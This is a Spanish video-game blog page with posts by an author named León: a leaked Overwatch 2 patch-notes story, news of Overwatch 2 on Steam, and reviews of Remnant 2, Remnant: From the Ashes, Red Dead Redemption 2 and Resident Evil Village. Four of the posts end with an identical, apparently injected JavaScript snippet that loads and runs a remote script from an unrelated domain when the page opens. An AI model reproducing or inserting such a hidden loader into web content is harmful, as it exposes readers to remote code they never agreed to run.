Autor: León

  • Overwatch 2: Filtrada actualización tan grande como el lanzamiento

    Overwatch 2: Filtrada actualización tan grande como el lanzamiento

    Filtración de Rupal

    El jugador profesional de Overwatch Rupal recientemente filtró las notas de parche de la 9ª temporada de Overwatch 2, con seguridad rompiendo su acuerdo de confidencialidad, que apuntan a unos cambios tan grandes como los vistos en la salida de la segunda parte del título. Como toda filtración hay que tomárselo con reservas, ya que están sujetos a cambios en el futuro, pero hay que decir que coinciden con varias de las pistas que ha ido dejando el director Aaron Keller, como por ejemplo que va a haber regeneración de salud para todos los personajes o una disminución de las muertes de un solo golpe. El modo en que estas muertes van a disminuir es con un incremento del 10 al 20% de la salud de todos los personajes (el estándar pasará de 200 a 250HP, por ejemplo); sin embargo, para no hacer el juego muy lento, los DPS ahora tendrán una pasiva que les permitirá reducir un 20% por 2s la recuperación de salud por cualquier medio.

    Rupal Overwatch League

    Grandes cambios en Overwatch

    Hanzo, por ejemplo, perderá la habilidad de acabar con la mayoría de personajes de un flechazo, así como el famoso combo de primaria con mina de Junkrat. Widowmaker, sin embargo mantendrá su muerte de un solo tiro a la cabeza contra la mayoría, aunque requerirá más tiempo de carga y se verá más afectada por la reducción de daño por distancia. Pharah, además, tendrá un completo rework en que verá su movilidad vertical reducida a cambio de una habilidad para moverse horizontalmente y mejor maniobrabilidad. También se espera un incremento del tamaño de los proyectiles para la mayoría de los personajes (pero con un nerfeo al tamaño de los Kunai de Kiriko), incluyendo cambios a las hitbox cuando disparéis con hitscan.

    Pharah Overwatch 2

    ¿Mi opinión? (Potencialmente) muy buenos cambios

    La reducción de las frustrantes muertes instantáneas es sin duda un paso adelante para la franquicia; en un juego de TTK (tiempo para eliminar a un personaje) largo como este, especialmente uno tan orientado al equipo, las muertes sin posibilidad de darle la vuelta a la tortilla al enfrentamiento no tienen cabida a menos que sean muy muy fáciles de evadir. La manera en que Blizzard ha decidido equilibrar el hecho de que ahora se alargará aún más el TTK es brillante: haciendo que los DPS frenen la regeneración de salud de los otros personajes – lo cual, dicho sea de paso, es un rework perfecto a lo que era una pasiva bastante mala en comparación con las otras dos (recargar más rápido después de una eliminación vs. regeneración/dar menos energía de definitiva). La regeneración global es interesante ya que es bastante pequeña pero va a contribuir a dar un poco más de protagonismo al jugador individual, algo que a veces carece un juego tan orientado al equipo como es Overwatch. El rework a Pharah es muy positivo ya que hacía tiempo que su movimiento vertical era una contra muy fuerte a los personajes que no son hitscan; me parece más interesante que ahora vaya ser un poco más Quake y menos helicóptero de combate, si se me permite la comparación. En cualquier caso recordad que muchos de estos cambios se ajustarán con el tiempo, o que ni siquiera se sabe con certeza si llegarán tal cual.

    Blizzard no se ha pronunciado al respecto pero es probable que lo haga pronto. Si queréis echar un ojo a los cambios vosotros mismos, este es el enlace directo a la filtración en imgur. En cuanto a otros shooter rocambolescos, The Pokémon Company planea investigar a Palword.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • El shooter soulslike: Remnant 2, OBRA MAESTRA

    El shooter soulslike: Remnant 2, OBRA MAESTRA

    Esta es la versión escrita de este vídeo:

    Remnant 2 no solo merece tu tiempo, sino que es carne de GOTY

    El primer Remnant es un gran juego, y Remnant 2 es, sin lugar a dudas, una obra maestra, y más por tan solo 50 euros de salida o 70 con pase de temporada a los tres futuros DLC. Una jugabilidad impoluta basada en Resident Evil 4 y Dark Souls en cuanto al combate y en Terraria en cuanto a la exploración, una historia interesante y unos sistemas RPG muy profundos y que dan lugar a muchas maneras de jugar. Es curioso que el mayor competidor contra el remake de Resident Evil 4 este año sea, bueno, un juego muy inspirado en el original.

    Motosierra Losomn Remnant 2
    Resident Evil 4 y Bloodborne son fuertes influencias en Remnant 2

    Leon S. Kennedy en el multiverso de la locura

    En fin: la premisa de Remnant 2 es sencilla: saltaremos de universo en universo buscando la manera de derrotar a los malos. Esto nos permite visitar mundos completamente distintos, con muchísima variedad de enemigos. Como comentaba, la jugabilidad es cercana a un Resident Evil 4; no tan survival horror, a menudo tendréis munición suficiente, pero sí que se siente parecido. La comparación clara es con Dark Souls: hay el equivalente a las hogueras, los frascos de Estus, una voltereta con fotogramas de invencibilidad, etc., etc. Comenté en mi análisis de Resident Evil 4 que la razón por la que tanto el remake como el original son tan buenos es el uso del ritmo: mezclar exploración y combate de modo que nunca nos estresaremos demasiado con un combate intenso ni nos aburriremos mucho explorando el mapa.

    Es muy interesante la manera en que Gunfire Games consigue esto en un juego que tiene mapas proceduralmente generados; es decir, semi aleatorios. Tanto si sois fans de los Dark Souls como de Resident Evil 4 la jugabilidad os va a encantar, simplemente fluye: las animaciones son mucho mejor que en el primer juego, todo está más refinado, fluye, como quien dice. No os equivoquéis, la razón por la que os mantendréis enganchados es por el combate, el juego se siente genial a cada instante. Pero no tengáis miedo con la comparación a Dark Souls: la dificultad es seleccionable, y no hay ningún problema en empezar en una más fácil para equiparos e ir a las más difíciles después con una build ya hecha. 

    Dificultades Remnant 2

    Hay cuatro dificultades: superviviente, veterano, pesadilla y apocalipsis. Superviviente, veterano y pesadilla están desde el inicio, pero apocalipsis se desbloquea al pasarnos la campaña por primera vez. Y tiene sentido, porque Gunfire ha equilibrado apocalipsis alrededor de estar completamente equipado y con todo a nivel máximo. Completar la campaña en mayores dificultades da mejores recompensas, y debido a la gran variedad posible de jefes o encuentros que aleatoriamente se generarán en cada campaña, hay un gran aliciente aquí para repetir el juego muchas veces.

    De hecho, es posible jugar dos veces la campaña y no repetir dos veces el mismo encuentro en los tres universos principales. Por supuesto, hay partes fijas de la historia que no son aleatorias, pero es interesante la gran rejugabilidad que tiene el título. Esto también incluye el equipo: hay una cantidad enorme de desbloqueables: por ejemplo, empezaremos con cuatro o cinco clases, pero conforme juguemos podremos desbloquear más de diez. ¿Un juego que oculta la mayoría de su jugabilidad como desbloqueables? Sí, así es, en pleno 2023. Amuletos, anillos, armas, armadura, habilidades de personaje, habilidades de arma, modificaciones de arma, modificaciones de nuestro objeto curativo, rasgos que subir de nivel… hay una increíble cantidad de personalización y builds que nos darán horas y horas de diversión. Solo mi primera partida en pesadilla me llevó unas 30 horas y, al empezar de nuevo en apocalipsis, todavía me encuentro jefes y zonas nuevas todo el rato. ¡Y aún a las 80 horas sigo viendo jefes nuevos, y no tengo ni la mitad de las armas!

    Nimue Remnant 2

    Una mejora sustancial en la narrativa

    Uno de los puntos más criticados del original fue la narrativa, que era bastante corta, si bien bien escrita. Los desarrolladores se han tomado esto a pecho y la han expandido y han experimentado con ella. Sí, hay una historia principal que continúa directamente la trama del primero, pero lo innovador es la manera en que se trata la historia de cada mundo. Entre que nos desplazamos a cada mundo tendremos nuestra trama principal, pero en cada mundo hay dos grandes historias que nos harán ir por lugares totalmente distintos, y que se nos asignará aleatoriamente. Cada una de las dos tiene sus propios jefes y encuentros posibles, y he de decir que están muy bien escritas, y muy muy variadas. El juego a veces se siente como una antología en que iremos viendo diferentes posibles historias en el multiverso, algunas trágicas, algunas épicas. El diálogo está tan bien escrito que os acabaréis parando a hablar con todo el mundo, a leer todos los documentos.

    Y, por si fuera poco, las conversaciones tienen consecuencias: se parecen más a, digamos, Fallout: New Vegas que a Fallout 4, si me permitís la comparación; si desagradamos a alguien, es posible que lo combatamos directamente o que nos encierren en una prisión y tengamos que escapar. O quizá nos den un objeto importante, un nuevo rasgo, una nueva arma. La atención al detalle de todas las ramificaciones es increíble. Y todo esto con una cinematografía muy profesional en las escenas. Me atrevería a decir que, en esta ocasión, la narrativa es un punto fuerte del juego, cosa que, a mi parecer, lo eleva sobre la saga Dark Souls en ese sentido, porque no solo desarrolla el mundo que hay de trasfondo, sino que hay, de verdad, unas historias que vais a vivir personalmente y que están muy bien contadas.

    Ravager Remnant 2

    Uno de los mejores apartados artísticos del año

    El apartado artístico es espectacular. Recordad: esto no es una empresa triple A, tienen un presupuesto más limitado. Pues lo que han conseguido con ese presupuesto es digno del mayor blockbuster del año: cada mundo está hecho con un detalle increíble, y son todos muy muy diferentes: desde las calles de estilo victoriano de Losomn al vacío de un planeta que se encuentra justo debajo de un agujero negro supermasivo; la dirección artística es sublime. Espectacular. La maestría de los artistas es innegable, hacía tiempo que los escenarios de un juego no me impresionaban tanto. Y lo inteligente del diseño de los enemigos y cómo se relacionan con su entorno es genial.

    La música es pegadiza y funciona genial en las batallas contra los jefes; pero lo que de verdad destaca es el diseño de sonido en general. Cada enemigo no solo señala visualmente sus ataques, sino que el sonido que emiten y su dirección han sido cuidadosamente diseñados para que, sin necesidad de mirar atrás, sepáis exactamente cómo y de dónde vienen los ataques. Es uno de los mejores diseños de sonido que he visto, o más bien oído, en un juego en mucho, mucho tiempo. Solo por esto ya se merecen un premio.

    Algunos ordenadores sufren mal rendimiento y errores

    Me gustaría comentar que, en el momento del lanzamiento, el juego tiene problemas de rendimiento en algunos ordenadores en particular. Yo apenas tuve, pero es importante que os informéis y os aseguréis de que os funciona ya o si debéis esperar a una actualización futura. El cooperativo también tiene algunos problemas de conexión, ya que el juego prioriza el host de la partida para calcular los fotogramas de invencibilidad, lo que puede causar problemas si vuestra conexión no es perfecta. También hay una cantidad decente de errores en la primera semana, así que recomiendo tener respaldos de los guardados por si acaso. 

    La empresa no es muy grande y el juego está 20€ más barato que los triple A, así que estoy un poco más dispuesto a pasarles errores en las primeras semanas, aunque me veo obligado a decirlo para que decidáis con toda la información. En fin, si tenéis curiosidad por el primer Remnant, aquí os dejo con su análisis; y sí, merece la pena si venís del segundo.

  • Análisis Remnant: From the Ashes

    Análisis Remnant: From the Ashes

    Un soulslike inspirado en Resident Evil 4

    Esta es la versión escrita de este vídeo:

    Remnant: From the Ashes es la mayor sorpresa que me he llevado en los últimos años, y no quepo en mi propio hype en cuanto a la segunda entrega que saldrá en unos días. Sí, ya sé que usé el comodín de decir que Resident Evil 4 era una suerte de Dark Souls con pistolas… pero solo tomaba algunos elementos. Pues bueno, qué sorpresa cuando encontré Remnant: un juego en el que el crafteo de armas es igual que en Dark Souls, que tiene su versión de las hogueras, del frasco de Estus, que tiene volteretas con fotogramas de invencibilidad, secretos por todos lados y un gran énfasis en los jefes. Pero, en mi defensa, diré que Remnant se basó en Resident Evil 4 para diseñar sus armas y jugabilidad básica, como me comentaba uno de sus desarrolladores en el discord oficial, así que tampoco iba yo muy desencaminado.

    Tragic de Gunfire Games comenta las inspiraciones de Remnant: From the Ashes
    Pregunté al desarrollador Tragic por las inspiraciones del juego, su respuesta: «Souls por razones evidentes, Terraria por la sensación de asombro, Resident Evil por la jugabilidad tipo supervivencia + fluidez con pistola/melé, Grim Dawn por los arquetipos dobles [en referencia a Remnant 2], etc.»

    Soulslike pero es como Resident Evil 4 pero es como Terraria

    Es tentador decir que Remnant es un juego tipo Dark Souls. Un Soulslike, como se estila decir en inglés. Y, en gran parte, lo es, pero es algo más. Ante todo, es un shooter en tercera persona muy sólido, con una gran variedad de armas que sirven propósitos muy distintos y ofrecen maneras totalmente únicas de jugar. Y para jugar las dos dificultades más altas os las vais a tener que aprender muy bien y saber cuándo usar cada una, porque los jefes son imperdonables. Pero en el buen sentido: tienen un diseño casi impecable que deja a la altura del betún otros títulos con mucho más presupuesto. Porque sí, Remnant es un juego con un presupuesto bastante modesto, pero bien usado. Tiene más contenido que muchos triple A por ahí, buen rendimiento (ajem, Red Dead Redemption 2) y pocos errores.

    Pero en lo que más destaca es en su apartado RPG: hay una gran variedad de builds, de equipo viable, que nos deja expresarnos como jugadores como en muy pocos juegos. ¿Build de tanque? Claro. ¿Cañón de cristal? También. ¿Build para ir solo a melé? Pues sí, hay varias. Remnant deja mucho a vuestra creatividad para hacer lo que queráis. 

    Nuestro personaje puede llevar un collar, dos anillos, una pieza de cabeza, otra de pecho y otra en las piernas. La armadura determinará cuántos fotogramas de invencibilidad tendremos al esquivar, nuestras fortalezas contra el daño elemental, y también nos dará habilidades dependiendo del número de piezas del set que tengamos. Tener una sola pieza de un set siempre nos dará la pasiva de este. Por ejemplo, llevar las botas de cazador automáticamente nos dará una dispersión un 20% mejor con todas las armas, incluyendo las escopetas o las pistolas. Combinar armaduras es viable, siempre y cuando lo hagamos con cabeza, pero cabe destacar que los bonus extra por llevar toda una armadura son sustanciales. Hay una gran variedad de combinaciones, y un solo anillo puede cambiar completamente la manera en que juguemos.

    Build Remnant
    El equipo potencial que podéis llevar en Remnant: From the Ashes

    Las armas funcionan como en Dark Souls: todas son, fundamentalmente, viables, sirven diferentes propósitos, y las podemos mejorar para usarlas durante todo el juego. Cada una está meticulosamente diseñada y algunas muy bien escondidas por el mundo. Podremos mejorar cada arma con un mod, que básicamente es la magia de este juego. Hacer daño con un arma recuperará la magia ligada a este para poder usarla antes. Hay una gran variedad: habilidades curativas, que dan daño, ataques especiales. Las builds de habilidades son totalmente viables y muy interesantes.

    ¿Pero qué es exactamente lo que hacemos en Remnant? Tiene tres modos de juego: campaña, aventura y supervivencia (aunque este último es de DLC). Todos con algo en común: la generación aleatoria de niveles. Cada vez que juguéis la campaña, por ejemplo, será diferente, con jefes diferentes, zonas diferentes, y objetos diferentes; claro que hay zonas fijas, especialmente en la campaña, que corresponden a secciones particulares de la narrativa, como ciertos jefes. Las aventuras nos permiten generar aleatoriamente mundos en particular que visitaremos en la campaña, y supervivencia es un modo en el que debemos sobrevivir más mundos generados tanto como podamos empezando sin ninguna clase de equipo.

    Remnant tiene cuatro dificultades: Normal y Difícil, que son las básicas, y Pesadilla y Apocalipsis, que están diseñadas para personajes completamente equipados. Pero no os equivoquéis: en ninguna podréis bajar la guardia del todo, aunque sí que es verdad que podéis cometer muchos más errores en normal. Hay una increíble variedad de enemigos con diferentes patrones de ataque, fortalezas y debilidades que deberemos aprender, y no hay nada de malo en empezar desde una dificultad más baja para hacernos a la idea. Yo personalmente empecé por Difícil, pero Normal es una buena opción también.

    Remnant you are dead
    El siempre presente «Has muerto» de los Dark Souls vuelve, ahora con citas célebres. ¡Menos mal que nuestro protagonista es canónicamente inmortal!

    La narrativa es simple y corta, pero bien ejecutada

    La historia de Remnant es limitada, pero siempre clara, concisa, y nunca dejaremos de saber lo siguiente que debemos hacer. Hay algo que no me gusta de los juegos tipo Dark Souls, y es que a menudo su narrativa simplemente no existe. No la hay. Cero. Nada. Pero Remnant sí tiene una narrativa un tanto más clásica, tiene un inicio, un nudo y un final. Y he de decir que, si bien no es precisamente un Red Dead Redemption, cumple y me ha gustado.

    Nuestro héroe llega al Pabellón 13, uno de los últimos bastiones de la Humanidad ante un apocalipsis causado por una civilización alienígena de hombres árbol, sí, esto es así, llamada La Raíz. Pronto descubrimos que el fundador del Pabellón se fue hace mucho tiempo de este para buscar una manera de derrotarlos, y hemos de seguirlo por el tiempo y el espacio. Lo cierto es que tiene su encanto, e incluso hay decisiones importantes que cambian la trama, aunque no afectan el final de ningún modo pero sí cómo llegamos a él. El guión es sólido, coherente y bien escrito; se nota la falta de presupuesto, pero nunca la falta de talento.

    La dirección artística es bastante buena, con una magnífica banda sonora

    Remnant tiene una variedad de enemigos muy grande, con diseños de lo más variopinto. Dragones, perros, criaturas humanoides, hombres cabra, bichos gigantes… Hay docenas y docenas de diseños muy imaginativos que creo son lo más destacable artísticamente del título. Los escenarios no se quedan atrás, y cada mundo es completamente diferente del anterior. Mundo helado, desolado, las calles vacías de la Tierra, y mucho más. La música destaca, con melodías orquestales muy profesionales que elevan muchas de las peleas con los jefes al más puro estilo Dark Souls.

    Perro de Remnant: From the Ashes
    Los perros también pueden ser vuestros aliados. Y los podéis acariciar. ¡Y hasta os dan un buff! Nota: no acariciéis perros de enemigos

    Y, me gustaría tomar un momento para apreciar los diseños de las armas: cada modificación de arma la cambia estéticamente al estilo BioShock: un aspecto de arma por cada elemento del juego. Un gran detalle.

    Un DLC pasable, y un gran DLC

    Existen dos DLCs para Remnant: Los Pantanos de Corsus y el Sujeto 2923. Los Pantanos de Corsus incluye el modo roguelike supervivencia que comenté antes, en que debemos sobrevivir el máximo tiempo en mundos generados aleatoriamente, recabando equipo, y además, bueno, añade jefes y equipo. En particular, añade a la Reina del Iskal, y que me llevó seis horas en dificultad Pesadilla. Sin duda el jefe más difícil y más interesante del juego. También añade una skin extra para cada pieza de armadura del juego. Es un DLC un tanto extraño, no añade demasiado; si podéis conseguirlo con un descuento está bien. En cuanto al Sujeto 2923: es un gran DLC. Añade una campaña entera como epílogo a la historia principal que dura unas cinco horas, siendo una continuación directa, con más narrativa, mucho más equipo, dos nuevos tipos de mundo y muchos más jefes. Muy recomendable, sobre todo si queréis jugar Remnant 2 y enteraros de lo que pasa entre ambos.

    Reina del Iskal Remnant: From the Ashes

    Más adelante podéis estar seguros de que haré un análisis de la segunda parte que sale en acceso anticipado el 22 de este mes, julio, así que allí os veré. Mientras tanto podéis echarle un ojo a mi review de Resident Evil 4 remake.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • Overwatch 2 llegará a Steam

    Overwatch 2 llegará a Steam

    Nunca creímos que llegaría el día en que Overwatch 2 saldría de Battle.net

    Overwatch 2 llegará a Steam el diez de agosto, día en que empezará su siguiente temporada y con la llegada del modo historia, en un movimiento estratégico por parte de Blizzard. Aun así, sí que hará falta tener una cuenta de Battle.net para poder jugar en Steam; pero no es solo una simple pasarela, sino que llegará con soporte para logros y para el sistema de amigos de Steam. El fin de una era, vaya.

    Overwatch 2 llega a Steam
    Actualmente en portada de Steam. ¿A que no adivináis qué hay en mi lista de deseados…?

    «La industria ha evolucionado», dice Blizzard

    Afirma Mike Ybarra, el presidente de Blizzard, que: «Aunque Battle.net sigue siendo una prioridad para nosotros, ahora y en el futuro, hemos oído que los jugadores quieren la elección de Steam para una selección de nuestros juegos». «Estamos contentos de trabajar con Valve para conseguirlo». Creo que, con estas palabras, parece evidente que en el futuro veremos más juegos en la plataforma. Ya veremos si los Diablo llegan, pero por ejemplo me parecería lógico que Call of Duty acabara allí. Warzone es un filón. ¿Qué pensáis vosotros?

    El próximo diez de agosto llegarán tres misiones de historia, unos diez euros en monedas de Overwatch y una skin de Sojourn por alrededor de 15€ además de la temporada pertinente con su pase de batalla. Podéis contar con que les echaremos un vistazo a las misiones de PvE aquí en NoticiasGamer. Y, si sois nuevos jugadores interesados en este cambio, no olvidéis que podéis echar un vistazo a nuestra guía para principiantes.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • Red Dead Redemption 2, aún un desastre en 2023

    Red Dead Redemption 2, aún un desastre en 2023

    Esta es la versión escrita de este análisis:

    Mal rendimiento, genial historia

    Red Dead Redemption 2 es un desastre; un desastre con un guión, música, arte e historia espectaculares. Este juego es un recordatorio de cómo algo puede simultáneamente ser muy bueno y muy malo a la vez, y también, una vez más, parte del por qué puntuar los juegos numéricamente no funciona. Seré negativo, pero también seré justo porque los puntos positivos son muy positivos.

    Empecemos por lo más importante, el rendimiento: si el juego no funciona bien en primer lugar, tenemos un serio problema jugándolo. Pues bien, Red Dead 2 tiene un rendimiento absolutamente terrible, durante mis 40h jugadas no recuerdo haber tenido más de 60 fps en ningún momento, y la gran mayoría del tiempo tenía alrededor de 40; en las batallas más importantes del juego, en los puntos álgidos, no era extraño tener 30. Ya de salida: no recomiendo este juego en la plataforma en que jugué, PC, simplemente porque es molesto jugar a un juego de acción con FPS tan bajos. Todo esto debido, muy posiblemente, a la cultura del “crunch” en Rockstar, del hacer que los desarrolladores trabajen sin descanso, a veces con cien horas semanales, para cumplir una fecha arbitraria en vez de hacerlo bien. Otra razón, quizá, de no comprar este juego.

    Rendimiento Red Dead Redemption 2
    RDR2 tiene serios problemas de rendimiento sin una GPU 40xx. Con los requisitos recomendados de la época (1060 y i7 4770k) lo esperado es alrededor de 40-50 fps. En mi caso usé una 3060 TI y un 12400f y… bueno, algunas secciones iban a 30 FPS

    La jugabilidad es sencilla y hay poco uso del mundo abierto en las misiones

    Pero sigamos con la jugabilidad: Red Dead Redemption 2 es un shooter en tercera persona muy centrado en usar coberturas. Las animaciones del personaje, como cambiar de sentido, son tan lentas que en ocasiones son del orden del segundo; Rockstar quiere que juguéis con su sistema de cobertura y que no permanezcáis mucho tiempo yendo a por los enemigos. Es un tanto lo opuesto a Doom. Es más parado, hay que pensar más los movimientos. Durante las misiones, el juego hace uso ninguno del mundo abierto; cambia directamente a un shooter pasillero tipo Call of Duty con bastante poca profundidad. El problema es que Call of Duty es rápido, sencillo, fácil de entender; pero Red Dead 2 es tosco, con animaciones largas que se sienten como que el juego no responde bien a tus acciones.

    Para equilibrar esto, Red Dead 2 es muy fácil, y no da opción a elegir una dificultad más alta. Así que tenemos un juego que no aprovecha sus mecánicas de mundo abierto salvo cuando no estás en medio de una misión, y que es muy simple. La mecánica central del juego es el tiempo bala, pero a diferencia de Max Payne u otros juegos que lo usan, no hay necesidad de que exista. Me explico. No os vais a encontrar en situaciones en que estéis muy rodeados, o en un espacio pequeño, y vayáis a necesitar del tiempo bala. Los enemigos son corrientes y molientes, y solo hay una clase de ellos: personas corrientes. Y todos se eliminan rápidamente de la misma forma: un solo disparo a la cabeza. La razón de ser de esta mecánica es doble: hacer el juego aún más fácil y la fantasía de sentirnos como un pistolero del oeste. Esto en las escenas funciona bien, pero cuando jugamos… no tanto. Más aún cuando es muy fácil conseguir tónicos que extienden mucho nuestra salud, resistencia o tiempo bala y que podemos conseguir muy fácilmente y básicamente llevar a cada pelea. En definitiva, el combate es muy sencillo, muy fácil y muy repetitivo.

    Red Dead Redemption 2 Saint Denis
    Todas las misiones de RDR2 transcurren en secciones muy lineales que no aprovechan el mundo abierto. También son muy fáciles y no dejan ajustar la dificultad.

    Red Dead 2 se juega como una cadena de misiones que deberemos activar por el mundo abierto y, a menudo, la distancia entre ellas es gigante. En PC, recomiendo usar un mod de viaje rápido, ya que el viaje rápido del juego es bastante engorroso y no te lleva a todas partes. Este juego requiere que recorras distancias muy largas a caballo en el vacío del oeste durante, potencialmente, horas. Y esto durante las misiones también. En ocasiones está bien porque por el camino hay conversaciones interesantes con NPCs, o suena música y le da ambiente y un poco de espacio a la trama. Otras, se siente como algo completamente innecesario que acaba añadiendo varias horas a un juego que ya de por sí es extremadamente largo (hacer solo la campaña principal lleva unas cuarenta horas). Red Dead 2 carece de ritmo, no alterna bien entre acción y periodos de descanso, viaje o conversación. Hay desproporcionadamente más tiempo de descanso que tiempo jugando. Y, vale, está bien que Rockstar quiera que sintamos el Oeste como un paraje fundamentalmente vacío hasta que llegó la civilización, pero creo que está hecho de tal manera que le quita más al juego que lo que potencialmente le podría dar.

    La historia es un clásico y se recordará durante muchos años

    Ahora vamos a comentar el aspecto más positivo: la historia, la razón por la que la mayoría de gente lo juega. Sí, me atrevo a decir que es muy, muy buena. No es necesariamente como una película clásica de John Ford, aunque sí me recuerda al “Hombre que Mató a Liberty Valance” en la temática de la civilización llegando al viejo oeste; diría que es una suerte de retrato costumbrista de una banda de criminales, de su día a día. Una mejor comparación sería la serie Los Soprano, que trata del día a día de la mafia italiana. Red Dead 2 nos muestra que, a pesar de sus vidas violentas y crímenes, la mayoría de sus días eran normales, sin trascendencia. Tenían sus familias, sus costumbres, sus tradiciones, sus creencias. Tenían vidas grises; para ellos, a veces, tenía sentido el matar a un guarda de un tren un día y ayudar a alguien perdido en la carretera al siguiente. Es una historia que nos da a entender que la gente que hace esas barbaridades son también personas, con sus propias vidas y preocupaciones. Por supuesto el juego no intenta justificar sus acciones, pero sí darnos a entender por qué hacen lo que hacen. Es una historia con muchas capas, adulta, madura, y que no tiene miedo de decir lo que quiere decir. No puedo decir mucho más sin spoilers, así que lo voy a dejar aquí; si os da muchos problemas en vuestro equipo, siempre podéis verla por YouTube. De verdad merece la pena.

    Dutch van der Linde Red Dead Redemption 2
    RDR2 tiene una historia extraordinaria. Un clásico

    El apartado artístico es increíble, y la música es digna de película de John Ford

    En cuanto al apartado artístico, quiero destacar la increíble banda sonora del juego. Melodías que recuerdan a clásicos del cine del oeste, como El Bueno, El Feo y El Malo, Por un Puñado de Dólares, y demás. Es una absoluta maravilla cómo cada melodía acompaña perfectamente el momento, tanto lo instrumental como lo vocal. Es un clásico moderno en el mundo de las bandas sonoras y todo el mundo debería escucharla. En cuanto a los gráficos y su diseño: están pensados para recrear ese periodo, son muy realistas y, quizá, un poco básicos. Pero quizá con intención, querían recrear ese tiempo, y lo han conseguido. No hay nada estilizado o con un estilo extraño, es fundamentalmente una recreación muy realista; pero creo que está bien, más con los gráficos tan buenos que tiene. Hay ciertas armas que no pertenecen a este tiempo por razones de jugabilidad, pero no lo veo como un problema fundamental sino una decisión tomada por diversión y, bueno, tampoco pasa nada. Los efectos de sonido son también muy buenos, sobre todo en las armas, con mucha diversidad y muy fieles a la época.

    No recomiendo Red Dead Redemption 2 por muchas razones, pero es innegable cómo algunos de sus aspectos son de lo mejor que ha habido en la industria y, si queréis jugarlo solo por ello, se entiende completamente y nadie os va a culpar por ello. Si queréis ver cómo tres personas sin cultura del crunch alguna vencen a una gran compañía, echadle un ojo a este análisis de BattleBit: Remastered.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • Análisis de Resident Evil: Village y DLCs en 2023

    Análisis de Resident Evil: Village y DLCs en 2023

    Esta es la versión escrita de este vídeo:

    Resident Evil 8 es un buen juego que no tengo problema en recomendar; su único, digamos, pecado, es que vive a la sombra de Resident Evil 4, que es básicamente una obra maestra. ¿No me créeis? Jugabilidad más centrada en la acción, los enemigos sueltan objetos al morir, hay un monstruo en el lago, tesoros que encontrar, un buhonero, un pueblo, un castillo y todo ocurre en una zona rural de Europa.

    Así que sí, Resident Evil 8 copia al 4, cosa de la que no me quejo, porque más juegos deberían copiarlo; el problema está en que el combate no es tan profundo como en el cuarto. Se nota la ausencia del control de masas que es el cuerpo a cuerpo, más allá de cubrirnos, que es una forma peor de este. Como no hay control de masas, hay pocos enemigos, lo que lo hace un poco más aburrido, y las secciones de terror, aunque están bien, pierden encanto al repetirlas, mientras que en Resident Evil 4 cuanto más lo repites, más gusta. Hay demasiadas secciones cinemáticas completamente guiadas, en plan Call of Duty, que duran demasiado y quitan tiempo en el que se podría estar jugando. Y, no son malas, pero no tienen ese buen ritmo que tenía Resident Evil 4.

    En cualquier caso, la jugabilidad es como en el cuarto: investigas un mapa más o menos libremente, aunque es bastante más lineal que en Resident Evil 4, encontrando tesoros para comprar armas y equipo mientras que vas a por el siguiente McGuffin para continuar la historia. Una fórmula que funciona, vaya. Mi mayor problema con esto, quizá, es que las armas en Resident Evil Village no están equilibradas: la nueva pistola siempre va a ser mejor que la anterior. Y eso no me gusta: una de las razones por las que Resident Evil 4 es tan bueno es porque dejaba al jugador muchas opciones y daba rejugabilidad. ¿Quién no se lo ha vuelto a pasar para ver qué tal es la pistola inicial al mejorarse al máximo, por ejemplo?

    En cuanto a la historia, es una continuación directa de lo que vimos en el juego anterior. Ethan y Mia acabaron en protección de testigos en Rumanía, protegidos por la BSAA de Chris Redfield; ambos tienen una hija que, al principio del juego es secuestrada, y que, como Ethan, debemos recuperar. En su búsqueda llegaremos a un pueblo que da el nombre al juego, y de ahí hemos de luchar contra los cuatro señores con poderes sobrenaturales que lo gobiernan. Es una historia entretenida, pero que tiene algunos agujeros de guión bastante gordos. En particular, Chris y Mia saben desde el principio del juego unos hechos que, perfectamente, podrían habérselos contado a Ethan y haber ahorrado un montón de problemas y sinsentidos en la trama. Pero bueno, aparte de eso, es una historia bastante entretenida y que disfruté bastante. El guión cumple y tiene algunas frases que se te quedan en la cabeza.

    Chris Redfield
    Según esta entrega es canon que Chris golpeó ese pedrusco en el volcán de Resident Evil 5. Esto es muy importante para el análisis.

    Tanto los gráficos como el diseño artístico de Resident Evil: Village son espectaculares. Normalmente los Resident Evil se ven muy bien, pero este bien podría ser el mejor de la saga en ese sentido. Hay una enorme variedad de zonas con un cuidado detalle; unas vistas que quitan el hipo, como la fachada de la Casa Beneviento. El detalle de los interiores no se queda corto, se nota que se diseñó con la primera persona en mente. Hay una clara dirección artística inspirada en los monstruos del folklore clásico europeo, como los hombres lobo y los vampiros, y, por alguna razón, funciona muy bien con la ciencia ficción de Resident Evil.

    En cuanto a la música, es bastante decente… cuando suena. No sé por qué, hay una tendencia en los últimos juegos de Capcom de reducir la música durante la jugabilidad excepto en ciertos momentos. En el remake de Resident Evil 4 sí que hemos visto que han cambiado esto un poco, pero en los anteriores se echa de menos música que dé tensión a la jugabilidad más allá de en momentos puntuales. Los juegos originales siempre destacaron por una gran banda sonora de fondo, por lo que he de mencionarlo.

    Resident Evil: Village recibió una expansión, llamada “La Expansión de los Winters”, con una historia original en el futuro sobre qué ocurre con la hija de Ethan. Tiene una duración de unas tres o cuatro horas y he de decir que la historia es bastante interesante y si queréis saber qué pasa después de la campaña principal, deberíais jugarla. Su jugabilidad es más cercana a los Resident Evil clásicos con más survival horror, es más sobre huir que luchar, en lugar de ser una mezcla de los dos como en la campaña. También tiene algunos de los problemas de la campaña principal, como es abusar de las secciones cinemáticas, pero en cualquier caso es muy entretenida y muy recomendable; más todavía porque amplía el modo Mercenarios.

    La expansión de los Winters (RE8)
    El contenido adicional de Village es de lo mejor que ha habido en la saga

